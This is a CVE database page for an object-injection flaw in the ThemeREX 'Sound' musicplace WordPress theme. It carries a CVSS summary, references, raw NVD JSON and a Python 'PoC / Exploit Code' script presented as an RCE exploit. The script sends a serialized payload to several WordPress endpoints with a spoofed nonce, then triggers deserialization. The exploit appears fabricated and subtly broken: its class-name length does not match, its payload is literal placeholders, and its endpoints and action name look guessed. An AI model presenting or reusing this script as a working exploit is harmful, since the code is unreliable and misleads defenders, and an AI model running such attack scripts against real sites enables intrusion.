CVE-2025-69079

Description

Deserialization of Untrusted Data vulnerability in ThemeREX Sound | Musical Instruments Online Store musicplace allows Object Injection.This issue affects Sound | Musical Instruments Online Store: from n/a through <= 1.6.9.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ThemeREX Sound Musical Instruments Online Store (musicplace) <= 1.6.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-69079 PoC - ThemeREX Sound Musicplace Unserialize RCE
# This PoC demonstrates the deserialization vulnerability
# For authorized security testing only

import requests
import base64
import sys

TARGET_URL = "http://target-wordpress-site.com/"
# Construct malicious serialized payload
# This uses a POP chain to achieve arbitrary file write / code execution
malicious_payload = 'O:32:"WP_Theme_Sound_Class":1:{s:4:"data";s:LENGTH:"MALICIOUS_DATA";}'

def exploit_cve_2025_69079():
    """
    Exploit for CVE-2025-69079 - Deserialization of Untrusted Data
    Attack Vector: Inject malicious serialized data via WordPress options API
    """
    # Step 1: Identify vulnerable endpoint
    endpoints = [
        "/wp-admin/admin-ajax.php",
        "/wp-json/wp/v2/settings",
        "/wp-admin/options.php"
    ]
    
    # Step 2: Inject malicious serialized payload
    for endpoint in endpoints:
        try:
            # Prepare payload with malicious serialized object
            data = {
                'action': 'theme_sound_save_settings',
                'settings': malicious_payload,
                'nonce': 'attacker_controlled_or_broken_nonce'
            }
            
            response = requests.post(
                TARGET_URL + endpoint,
                data=data,
                timeout=10,
                verify=False
            )
            
            if response.status_code == 200:
                print(f"[+] Payload sent to {endpoint}")
                
        except requests.RequestException as e:
            print(f"[-] Error targeting {endpoint}: {e}")
    
    # Step 3: Trigger deserialization by accessing affected functionality
    trigger_url = f"{TARGET_URL}?page=musicplace-settings"
    try:
        requests.get(trigger_url, timeout=10, verify=False)
        print("[+] Trigger request sent")
    except requests.RequestException:
        pass

if __name__ == "__main__":
    print("CVE-2025-69079 Exploitation Script")
    print("ThemeREX Sound Musicplace <= 1.6.9 Unserialize RCE")
    exploit_cve_2025_69079()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-69079
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-69079
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-69079/
[4] VulDB https://vuldb.com/cve/CVE-2025-69079
[5] https://patchstack.com/database/Wordpress/Theme/musicplace/vulnerability/wordpress-sound-musical-instruments-online-store-theme-1-6-9-deserialization-of-untrusted-data-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-69079", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:22.170", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in ThemeREX Sound | Musical Instruments Online Store musicplace allows Object Injection.This issue affects Sound | Musical Instruments Online Store: from n/a through <= 1.6.9."}, {"lang": "es", "value": "Vulnerabilidad de deserialización de datos no confiables en ThemeREX Sound | Musical Instruments Online Store musicplace permite la inyección de objetos. Este problema afecta a Sound | Musical Instruments Online Store: desde n/a hasta <= 1.6.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/musicplace/vulnerability/wordpress-sound-musical-instruments-online-store-theme-1-6-9-deserialization-of-untrusted-data-vulnerability?_s_id=cve", "source": "[email protected]"}]}}